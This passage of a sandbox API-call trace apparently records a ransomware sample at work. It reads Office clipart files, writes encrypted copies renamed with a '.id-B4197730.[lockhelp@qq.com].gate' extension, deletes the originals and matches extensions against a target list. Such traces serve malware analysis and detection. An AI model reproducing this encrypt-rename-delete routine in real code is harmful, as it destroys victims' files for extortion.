Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.877] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.877] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.878] GetLastError () returned 0x0 [0282.878] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4124, lpOverlapped=0x0) returned 1 [0282.927] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4130, lpOverlapped=0x0) returned 1 [0282.928] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.928] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.928] SetEndOfFile (hFile=0x418) returned 1 [0282.928] CloseHandle (hObject=0x418) returned 1 [0282.929] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.929] SetEndOfFile (hFile=0x4b4) returned 1 [0282.931] CloseHandle (hObject=0x4b4) returned 1 [0282.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0282.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.932] lstrlenW (lpString=".doc") returned 4 [0282.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.932] lstrlenW (lpString=".docx") returned 5 [0282.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.932] lstrlenW (lpString=".pdf") returned 4 [0282.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.932] lstrlenW (lpString=".xls") returned 4 [0282.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.932] lstrlenW (lpString=".xlsx") returned 5 [0282.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.932] lstrlenW (lpString=".ppt") returned 4 [0282.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.933] lstrlenW (lpString=".zip") returned 4 [0282.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.933] lstrlenW (lpString=".rar") returned 4 [0282.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString=".bz2") returned 4 [0282.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString=".7z") returned 3 [0282.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.933] lstrlenW (lpString=".dbf") returned 4 [0282.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.933] lstrlenW (lpString=".1cd") returned 4 [0282.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.933] lstrlenW (lpString=".jpg") returned 4 [0282.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.933] lstrlenW (lpString=".doc") returned 4 [0282.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString=".docx") returned 5 [0282.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.933] lstrlenW (lpString=".pdf") returned 4 [0282.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.933] lstrlenW (lpString=".xls") returned 4 [0282.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.933] lstrlenW (lpString=".xlsx") returned 5 [0282.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.933] lstrlenW (lpString=".ppt") returned 4 [0282.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.934] lstrlenW (lpString=".zip") returned 4 [0282.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.934] lstrlenW (lpString=".rar") returned 4 [0282.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.934] lstrlenW (lpString=".bz2") returned 4 [0282.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.934] lstrlenW (lpString=".7z") returned 3 [0282.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.934] lstrlenW (lpString=".dbf") returned 4 [0282.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.934] lstrlenW (lpString=".1cd") returned 4 [0282.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0282.934] lstrlenW (lpString=".jpg") returned 4 [0282.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.934] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.934] lstrlenW (lpString="BD07804_.WMF") returned 12 [0282.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.952] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4924) returned 1 [0282.952] CloseHandle (hObject=0x414) returned 1 [0282.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0282.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0282.952] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.952] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0282.953] GetLastError () returned 0x0 [0282.953] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x133c, lpOverlapped=0x0) returned 1 [0283.264] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1340, lpOverlapped=0x0) returned 1 [0283.265] ReadFile (in: hFile=0x414, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.265] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.265] SetEndOfFile (hFile=0x4a4) returned 1 [0283.265] CloseHandle (hObject=0x4a4) returned 1 [0283.266] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.266] SetEndOfFile (hFile=0x414) returned 1 [0283.279] CloseHandle (hObject=0x414) returned 1 [0283.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0283.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.337] lstrlenW (lpString=".doc") returned 4 [0283.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.337] lstrlenW (lpString=".docx") returned 5 [0283.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.337] lstrlenW (lpString=".pdf") returned 4 [0283.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.337] lstrlenW (lpString=".xls") returned 4 [0283.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.338] lstrlenW (lpString=".xlsx") returned 5 [0283.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.338] lstrlenW (lpString=".ppt") returned 4 [0283.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.338] lstrlenW (lpString=".zip") returned 4 [0283.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.338] lstrlenW (lpString=".rar") returned 4 [0283.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString=".bz2") returned 4 [0283.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString=".7z") returned 3 [0283.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.338] lstrlenW (lpString=".dbf") returned 4 [0283.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.338] lstrlenW (lpString=".1cd") returned 4 [0283.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.338] lstrlenW (lpString=".jpg") returned 4 [0283.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.338] lstrlenW (lpString=".doc") returned 4 [0283.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString=".docx") returned 5 [0283.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.338] lstrlenW (lpString=".pdf") returned 4 [0283.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.338] lstrlenW (lpString=".xls") returned 4 [0283.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.339] lstrlenW (lpString=".xlsx") returned 5 [0283.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.339] lstrlenW (lpString=".ppt") returned 4 [0283.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.339] lstrlenW (lpString=".zip") returned 4 [0283.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.339] lstrlenW (lpString=".rar") returned 4 [0283.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.339] lstrlenW (lpString=".bz2") returned 4 [0283.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.339] lstrlenW (lpString=".7z") returned 3 [0283.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.339] lstrlenW (lpString=".dbf") returned 4 [0283.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.339] lstrlenW (lpString=".1cd") returned 4 [0283.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0283.339] lstrlenW (lpString=".jpg") returned 4 [0283.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.339] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.339] lstrlenW (lpString="BD08808_.WMF") returned 12 [0283.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0283.340] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=47996) returned 1 [0283.340] CloseHandle (hObject=0x418) returned 1 [0283.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0283.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0283.340] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.340] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0283.341] GetLastError () returned 0x0 [0283.341] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0283.730] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xbb80, lpOverlapped=0x0) returned 1 [0283.731] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.731] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.731] SetEndOfFile (hFile=0x4a4) returned 1 [0283.732] CloseHandle (hObject=0x4a4) returned 1 [0283.733] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.733] SetEndOfFile (hFile=0x418) returned 1 [0283.735] CloseHandle (hObject=0x418) returned 1 [0283.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0283.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.736] lstrlenW (lpString=".doc") returned 4 [0283.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString=".docx") returned 5 [0283.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.737] lstrlenW (lpString=".pdf") returned 4 [0283.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString=".xls") returned 4 [0283.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.737] lstrlenW (lpString=".xlsx") returned 5 [0283.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.737] lstrlenW (lpString=".ppt") returned 4 [0283.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.737] lstrlenW (lpString=".zip") returned 4 [0283.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.737] lstrlenW (lpString=".rar") returned 4 [0283.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString=".bz2") returned 4 [0283.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString=".7z") returned 3 [0283.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.737] lstrlenW (lpString=".dbf") returned 4 [0283.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.737] lstrlenW (lpString=".1cd") returned 4 [0283.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.737] lstrlenW (lpString=".jpg") returned 4 [0283.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.737] lstrlenW (lpString=".doc") returned 4 [0283.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString=".docx") returned 5 [0283.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.738] lstrlenW (lpString=".pdf") returned 4 [0283.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString=".xls") returned 4 [0283.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.738] lstrlenW (lpString=".xlsx") returned 5 [0283.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.738] lstrlenW (lpString=".ppt") returned 4 [0283.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.738] lstrlenW (lpString=".zip") returned 4 [0283.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.738] lstrlenW (lpString=".rar") returned 4 [0283.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString=".bz2") returned 4 [0283.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString=".7z") returned 3 [0283.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.738] lstrlenW (lpString=".dbf") returned 4 [0283.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.738] lstrlenW (lpString=".1cd") returned 4 [0283.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0283.738] lstrlenW (lpString=".jpg") returned 4 [0283.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.738] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.739] lstrlenW (lpString="BD09662_.WMF") returned 12 [0283.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0283.753] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20554) returned 1 [0283.753] CloseHandle (hObject=0x4b4) returned 1 [0283.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0283.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0283.754] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, 